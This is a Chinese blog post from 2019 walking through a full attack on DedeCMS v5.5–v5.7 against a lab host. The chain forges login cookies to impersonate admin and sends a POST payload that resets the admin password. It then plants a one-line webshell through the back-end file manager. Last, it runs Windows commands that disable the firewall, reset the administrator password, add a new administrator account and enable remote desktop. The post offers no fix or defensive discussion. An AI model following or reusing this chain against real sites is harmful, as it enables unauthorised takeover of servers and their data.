日期:2019-08-08 10:20:28
更新:
作者:Bay0net
介紹:
0x01、組合拳拿 shell
漏洞版本:v5.5 - v5.7
前台任意用戶密碼重置
首先注冊一個賬戶,賬戶名為 0000001
,此處注冊的賬戶,前面是多個 0,后面是 1 就行。
注冊鏈接:
http://192.168.31.59/member/index_do.php?fmdo=user&dopost=regnew
注冊完成后,登錄,登錄完以后訪問個人主頁:
http://192.168.31.59/member/index.php?uid=0000001
查看當前的 cookie:

把 DedeUserID
改成自己的賬戶名,0000001
。
把 DedeUserID__ckMd5
改成 last_vid__ckMd5
的值。
修改后:

修改完成以后,訪問個人主頁,發現自己已經變成了 admin。
個人主頁:http://192.168.31.59/member/

此時,我們已經利用 admin 權限登錄到了前台,但是不知道 admin 的密碼,如果想修改 admin 的密碼,必須知道原密碼,所以我們需要利用漏洞來重置前台 admin 用戶的密碼。
前台用戶密碼重置
把 burp 打開,然后利用下面的 payload,拿到修改密碼的鏈接。
利用 hackerbar 去發送 payloa。

# URL
http://192.168.31.59/member/resetpassword.php
# POST 的數據
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
放過 POST 的數據包,burp 就會抓到修改密碼的數據包。

在瀏覽器中訪問,即可重置用戶的密碼。(忘了截圖,網上找了個,注意 IP 地址要改成自己的。)

此時,我們擁有了前台 admin 賬戶的密碼。
修改后台 admin 密碼
dedecms 在修改密碼時,如果前台的用戶是 admin,那么前台修改 admin 的密碼,后台 admin 的密碼也會變。
訪問下面的頁面,修改 admin 的密碼,前后台 admin 密碼會一起修改。
http://192.168.31.59/member/edit_baseinfo.php
利用修改的密碼登錄后台:
http://192.168.31.59/dede
后台拿 shell
訪問后台,利用剛才修改的密碼登錄。
后台地址:192.168.31.59/dede/
依次選擇模塊 -> 文件管理器 -> 新建文件

寫入一句話,然后保存。

成功上傳一句話,可以執行。

提權
菜刀連接一句話,使用虛擬終端執行以下命令。
# 使用命令關閉防火牆
netsh advfirewall set allprofiles state off
# 重置管理員密碼
net user administrator qwe123...
# 也可以新建賬戶,提到管理員組。
# 不如直接重置管理員密碼方便,密碼復雜度有問題的話新建還會出錯。
net user gp001 qwe123... /add
net localgroup administrators gp001 /add
# 如果沒開 3389 的話,需要用命令開啟 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
利用剛才新建的賬戶/密碼,或者重置的管理員密碼,遠程連接即可。